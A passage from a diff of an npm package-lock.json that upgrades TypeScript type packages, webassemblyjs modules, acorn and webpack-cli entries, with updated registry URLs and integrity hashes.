"https://registry.npmjs.org/@types/jest/-/jest-29.5.5.tgz", + "integrity": "sha512-ebylz2hnsWR9mYvmBFbXJXr+33UPc4+ZdxyDXh5w0FlPBTfCVN3wPL+kuOiQt3xvrK419v7XWeAs+AeOksafXg==", "dev": true, "dependencies": { "expect": "^29.0.0", @@ -2976,14 +3328,14 @@ } }, "node_modules/@types/json-schema": { - "version": "7.0.11", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.11.tgz", - "integrity": "sha512-wOuvG1SN4Us4rez+tylwwwCV1psiNVOkJeM3AUWUNWg/jDQY2+HE/444y5gc+jBmRqASOm2Oeh5c1axHobwRKQ==" + "version": "7.0.13", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.13.tgz", + "integrity": "sha512-RbSSoHliUbnXj3ny0CNFOoxrIDV6SUGyStHsvDqosw6CkdPV8TtWGlfecuK4ToyMEAql6pzNxgCFKanovUzlgQ==" }, "node_modules/@types/lodash": { - "version": "4.14.191", - "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.191.tgz", - "integrity": "sha512-BdZ5BCCvho3EIXw6wUCXHe7rS53AIDPLE+JzwgT+OsJk53oBfbSmZZ7CX4VaRoN78N+TJpFi9QPlfIVNmJYWxQ==" + "version": "4.14.198", + "resolved": "https://registry.npmjs.org/@types/lodash/-/lodash-4.14.198.tgz", + "integrity": "sha512-trNJ/vtMZYMLhfN45uLq4ShQSw0/S7xCTLLVM+WM1rmFpba/VS42jVUgaO3w/NOLiWR/09lnYk0yMaA/atdIsg==" }, "node_modules/@types/lodash.clonedeep": { "version": "4.5.7", @@ -2994,17 +3346,17 @@ } }, "node_modules/@types/mdast": { - "version": "3.0.10", - "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz", - "integrity": "sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==", + "version": "3.0.12", + "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.12.tgz", + "integrity": "sha512-DT+iNIRNX884cx0/Q1ja7NyUPpZuv0KPyL5rGNxm1WC1OtHstl7n4Jb7nk+xacNShQMbczJjt8uFzznpp6kYBg==", "dependencies": { - "@types/unist": "*" + "@types/unist": "^2" } }, "node_modules/@types/mime": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/mime/-/mime-3.0.1.tgz", - "integrity": "sha512-Y4XFY5VJAuw0FgAqPNd6NNoV44jbq9Bz2L7Rh/J6jLTiHBSBJa9fxqQIvkIld4GsoDOcCbvzOUAbLPsSKKg+uA==", + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@types/mime/-/mime-1.3.2.tgz", + "integrity": "sha512-YATxVxgRqNH6nHEIsvg6k2Boc1JHI9ZbH5iWFFv/MTkchz3b1ieGDa5T0a9RznNdI0KhVbdbWSN+KWWrQZRxTw==", "dev": true }, "node_modules/@types/ms": { @@ -3013,9 +3365,9 @@ "integrity": "sha512-iiUgKzV9AuaEkZqkOLDIvlQiL6ltuZd9tGcW3gwpnX8JbuiuhFlEGmmFXEXkN50Cvq7Os88IY2v0dkDqXYWVgA==" }, "node_modules/@types/node": { - "version": "18.14.5", - "resolved": "https://registry.npmjs.org/@types/node/-/node-18.14.5.tgz", - "integrity": "sha512-CRT4tMK/DHYhw1fcCEBwME9CSaZNclxfzVMe7GsO6ULSwsttbj70wSiX6rZdIjGblu93sTJxLdhNIT85KKI7Qw==" + "version": "20.6.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.6.2.tgz", + "integrity": "sha512-Y+/1vGBHV/cYk6OI1Na/LHzwnlNCAfU3ZNGrc1LdRe/LAIbdDPTTv/HU3M7yXN448aTVDq3eKRm2cg7iKLb8gw==" }, "node_modules/@types/parse-json": { "version": "4.0.0", @@ -3028,9 +3380,9 @@ "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==" }, "node_modules/@types/qs": { - "version": "6.9.7", - "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.7.tgz", - "integrity": "sha512-FGa1F62FT09qcrueBA6qYTrJPVDzah9a+493+o2PCXsesWHIn27G98TsSMs3WPNbZIEj4+VJf6saSFpvD+3Zsw==", + "version": "6.9.8", + "resolved": "https://registry.npmjs.org/@types/qs/-/qs-6.9.8.tgz", + "integrity": "sha512-u95svzDlTysU5xecFNTgfFG5RUWu1A9P0VzgpcIiGZA9iraHOdSzcxMxQ55DyeRaGCSxQi7LxXDI4rzq/MYfdg==", "dev": true }, "node_modules/@types/range-parser": { @@ -3040,9 +3392,9 @@ "dev": true }, "node_modules/@types/react": { - "version": "16.14.35", - "resolved": "https://registry.npmjs.org/@types/react/-/react-16.14.35.tgz", - "integrity": "sha512-NUEiwmSS1XXtmBcsm1NyRRPYjoZF2YTE89/5QiLt5mlGffYK9FQqOKuOLuXNrjPQV04oQgaZG+Yq02ZfHoFyyg==", + "version": "18.2.21", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.2.21.tgz", + "integrity": "sha512-neFKG/sBAwGxHgXiIxnbm3/AAVQ/cMRS93hvBpg8xYRbeQSPVABp9U2bRnPf0iI4+Ucdv3plSxKK+3CW2ENJxA==", "dependencies": { "@types/prop-types": "*", "@types/scheduler": "*", @@ -3050,12 +3402,12 @@ } }, "node_modules/@types/react-dom": { - "version": "16.9.18", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-16.9.18.tgz", - "integrity": "sha512-lmNARUX3+rNF/nmoAFqasG0jAA7q6MeGZK/fdeLwY3kAA4NPgHHrG5bNQe2B5xmD4B+x6Z6h0rEJQ7MEEgQxsw==", + "version": "18.2.7", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.2.7.tgz", + "integrity": "sha512-GRaAEriuT4zp9N4p1i8BDBYmEyfo+xQ3yHjJU4eiK5NDa1RmUZG+unZABUTK4/Ox/M+GaHwb6Ow8rUITrtjszA==", "dev": true, "dependencies": { - "@types/react": "^16" + "@types/react": "*" } }, "node_modules/@types/react-router": { @@ -3077,18 +3429,10 @@ "@types/react-router": "*" } }, - "node_modules/@types/react-table": { - "version": "6.8.9", - "resolved": "https://registry.npmjs.org/@types/react-table/-/react-table-6.8.9.tgz", - "integrity": "sha512-fVQXjy/EYDbgraScgjDONA291McKqGrw0R0NeK639fx2bS4T19TnXMjg3FjOPlkI3qYTQtFTPADlRYysaQIMpA==", - "dependencies": { - "@types/react": "*" - } - }, "node_modules/@types/react-transition-group": { - "version": "4.4.5", - "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.5.tgz", - "integrity": "sha512-juKD/eiSM3/xZYzjuzH6ZwpP+/lejltmiS3QEzV/vmb/Q8+HfDmxu+Baga8UEMGBqV88Nbg4l2hY/K2DkyaLLA==", + "version": "4.4.6", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.6.tgz", + "integrity": "sha512-VnCdSxfcm08KjsJVQcfBmhEQAPnLB8G08hAxn39azX1qYBQ/5RVQuoHuKIcfKOdncuaUvEpFKFzEvbtIMsfVew==", "dependencies": { "@types/react": "*" } @@ -3100,9 +3444,19 @@ "dev": true }, "node_modules/@types/scheduler": { - "version": "0.16.2", - "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", - "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==" + "version": "0.16.3", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.3.tgz", + "integrity": "sha512-5cJ8CB4yAx7BH1oMvdU0Jh9lrEXyPkar6F9G/ERswkCuvP4KQZfZkSjcMbAICCpQTN4OuZn8tz0HiKv9TGZgrQ==" + }, + "node_modules/@types/send": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/@types/send/-/send-0.17.1.tgz", + "integrity": "sha512-Cwo8LE/0rnvX7kIIa3QHCkcuF21c05Ayb0ZfxPiv0W8VRiZiNW/WuRupHKpqqGVGf7SUA44QSOUKaEd9lIrd/Q==", + "dev": true, + "dependencies": { + "@types/mime": "^1", + "@types/node": "*" + } }, "node_modules/@types/serve-index": { "version": "1.9.1", @@ -3114,11 +3468,12 @@ } }, "node_modules/@types/serve-static": { - "version": "1.15.1", - "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.1.tgz", - "integrity": "sha512-NUo5XNiAdULrJENtJXZZ3fHtfMolzZwczzBbnAeBbqBwG+LaG6YaJtuwzwGSQZ2wsCrxjEhNNjAkKigy3n8teQ==", + "version": "1.15.2", + "resolved": "https://registry.npmjs.org/@types/serve-static/-/serve-static-1.15.2.tgz", + "integrity": "sha512-J2LqtvFYCzaj8pVYKw8klQXrLLk7TBZmQ4ShlcdkELFKGwGMfevMLneMMRkMgZxotOD9wg497LpC7O8PcvAmfw==", "dev": true, "dependencies": { + "@types/http-errors": "*", "@types/mime": "*", "@types/node": "*" } @@ -3139,9 +3494,9 @@ "dev": true }, "node_modules/@types/unist": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", - "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==" + "version": "2.0.8", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.8.tgz", + "integrity": "sha512-d0XxK3YTObnWVp6rZuev3c49+j4Lo8g4L1ZRm9z5L0xpoZycUPshHgczK5gsUMaZOstjVYYi09p5gYvUtfChYw==" }, "node_modules/@types/warning": { "version": "3.0.0", @@ -3149,18 +3504,18 @@ "integrity": "sha512-t/Tvs5qR47OLOr+4E9ckN8AmP2Tf16gWq+/qA4iUGS/OOyHVO8wv2vjJuX8SNOUTJyWb+2t7wJm6cXILFnOROA==" }, "node_modules/@types/ws": { - "version": "8.5.4", - "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.4.tgz", - "integrity": "sha512-zdQDHKUgcX/zBc4GrwsE/7dVdAD8JR4EuiAXiiUhhfyIJXXb2+PrGshFyeXWQPMmmZ2XxgaqclgpIC7eTXc1mg==", + "version": "8.5.5", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-8.5.5.tgz", + "integrity": "sha512-lwhs8hktwxSjf9UaZ9tG5M03PGogvFaH8gUgLNbN9HKIg0dvv6q+gkSuJ8HN4/VbyxkuLzCjlN7GquQ0gUJfIg==", "dev": true, "dependencies": { "@types/node": "*" } }, "node_modules/@types/yargs": { - "version": "17.0.22", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.22.tgz", - "integrity": "sha512-pet5WJ9U8yPVRhkwuEIp5ktAeAqRZOq4UdAyWLWzxbtpyXnzbtLdKiXAjJzi/KLmPGS9wk86lUFWZFN6sISo4g==", + "version": "17.0.24", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.24.tgz", + "integrity": "sha512-6i0aC7jV6QzQB8ne1joVZ0eSFIstHsCrobmOtghM11yGlH0j43FKL2UhWdELkyps0zuf7qVTUVCCR+tgSlyLLw==", "dev": true, "dependencies": { "@types/yargs-parser": "*" @@ -3173,140 +3528,140 @@ "dev": true }, "node_modules/@webassemblyjs/ast": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", - "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz", + "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==", "dependencies": { - "@webassemblyjs/helper-numbers": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1" + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" } }, "node_modules/@webassemblyjs/floating-point-hex-parser": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", - "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==" + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==" }, "node_modules/@webassemblyjs/helper-api-error": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", - "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==" + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==" }, "node_modules/@webassemblyjs/helper-buffer": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", - "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==" + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz", + "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==" }, "node_modules/@webassemblyjs/helper-numbers": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", - "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", "dependencies": { - "@webassemblyjs/floating-point-hex-parser": "1.11.1", - "@webassemblyjs/helper-api-error": "1.11.1", + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", "@xtuc/long": "4.2.2" } }, "node_modules/@webassemblyjs/helper-wasm-bytecode": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", - "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==" + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==" }, "node_modules/@webassemblyjs/helper-wasm-section": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", - "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz", + "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==", "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1" + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6" } }, "node_modules/@webassemblyjs/ieee754": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", - "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", "dependencies": { "@xtuc/ieee754": "^1.2.0" } }, "node_modules/@webassemblyjs/leb128": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", - "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", "dependencies": { "@xtuc/long": "4.2.2" } }, "node_modules/@webassemblyjs/utf8": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", - "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==" + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==" }, "node_modules/@webassemblyjs/wasm-edit": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", - "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz", + "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==", "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/helper-wasm-section": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1", - "@webassemblyjs/wasm-opt": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1", - "@webassemblyjs/wast-printer": "1.11.1" + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-opt": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6", + "@webassemblyjs/wast-printer": "1.11.6" } }, "node_modules/@webassemblyjs/wasm-gen": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", - "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz", + "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==", "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/ieee754": "1.11.1", - "@webassemblyjs/leb128": "1.11.1", - "@webassemblyjs/utf8": "1.11.1" + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" } }, "node_modules/@webassemblyjs/wasm-opt": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", - "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz", + "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==", "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-buffer": "1.11.1", - "@webassemblyjs/wasm-gen": "1.11.1", - "@webassemblyjs/wasm-parser": "1.11.1" + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6" } }, "node_modules/@webassemblyjs/wasm-parser": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", - "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz", + "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==", "dependencies": { - "@webassemblyjs/ast": "1.11.1", - "@webassemblyjs/helper-api-error": "1.11.1", - "@webassemblyjs/helper-wasm-bytecode": "1.11.1", - "@webassemblyjs/ieee754": "1.11.1", - "@webassemblyjs/leb128": "1.11.1", - "@webassemblyjs/utf8": "1.11.1" + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" } }, "node_modules/@webassemblyjs/wast-printer": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", - "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz", + "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==", "dependencies": { - "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/ast": "1.11.6", "@xtuc/long": "4.2.2" } }, "node_modules/@webpack-cli/configtest": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-2.0.1.tgz", - "integrity": "sha512-njsdJXJSiS2iNbQVS0eT8A/KPnmyH4pv1APj2K0d1wrZcBLw+yppxOy4CGqa0OxDJkzfL/XELDhD8rocnIwB5A==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-2.1.1.tgz", + "integrity": "sha512-wy0mglZpDSiSS0XHrVR+BAdId2+yxPSoJW8fsna3ZpYSlufjvxnP4YbKTCBZnNIcGN4r6ZPXV55X4mYExOfLmw==", "dev": true, "engines": { "node": ">=14.15.0" @@ -3317,9 +3672,9 @@ } }, "node_modules/@webpack-cli/info": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-2.0.1.tgz", - "integrity": "sha512-fE1UEWTwsAxRhrJNikE7v4EotYflkEhBL7EbajfkPlf6E37/2QshOy/D48Mw8G5XMFlQtS6YV42vtbG9zBpIQA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-2.0.2.tgz", + "integrity": "sha512-zLHQdI/Qs1UyT5UBdWNqsARasIA+AaF8t+4u2aS2nEpBQh2mWIVb8qAklq0eUENnC5mOItrIB4LiS9xMtph18A==", "dev": true, "engines": { "node": ">=14.15.0" @@ -3330,9 +3685,9 @@ } }, "node_modules/@webpack-cli/serve": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-2.0.1.tgz", - "integrity": "sha512-0G7tNyS+yW8TdgHwZKlDWYXFA6OJQnoLCQvYKkQP0Q2X205PSQ6RNUj0M+1OB/9gRQaUZ/ccYfaxd0nhaWKfjw==", + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-2.0.5.tgz", + "integrity": "sha512-lqaoKnRYBdo1UgDX8uF24AfGMifWK19TxPmM5FHc2vAGxrJ/qtyUyFBWoY1tISZdelsQ5fBcOusifo5o5wSJxQ==", "dev": true, "engines": { "node": ">=14.15.0" @@ -3387,9 +3742,9 @@ } }, "node_modules/acorn": { - "version": "8.8.2", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.8.2.tgz", - "integrity": "sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==", + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", "bin": { "acorn": "bin/acorn" }, @@ -3398,9 +3753,9 @@ } }, "node_modules/acorn-import-assertions": { - "version": "1.8.0", - "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", - "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz", + "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==", "peerDependencies": { "acorn": "^8" } @@ -3507,6 +3862,19 @@ "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==" }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz", + "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==", + "dev": true, + "dependencies": { + "call-bind": "^1.0.2", + "is-array-buffer": "^3.0.1" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, "node_modules/array-flatten": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz", @@ 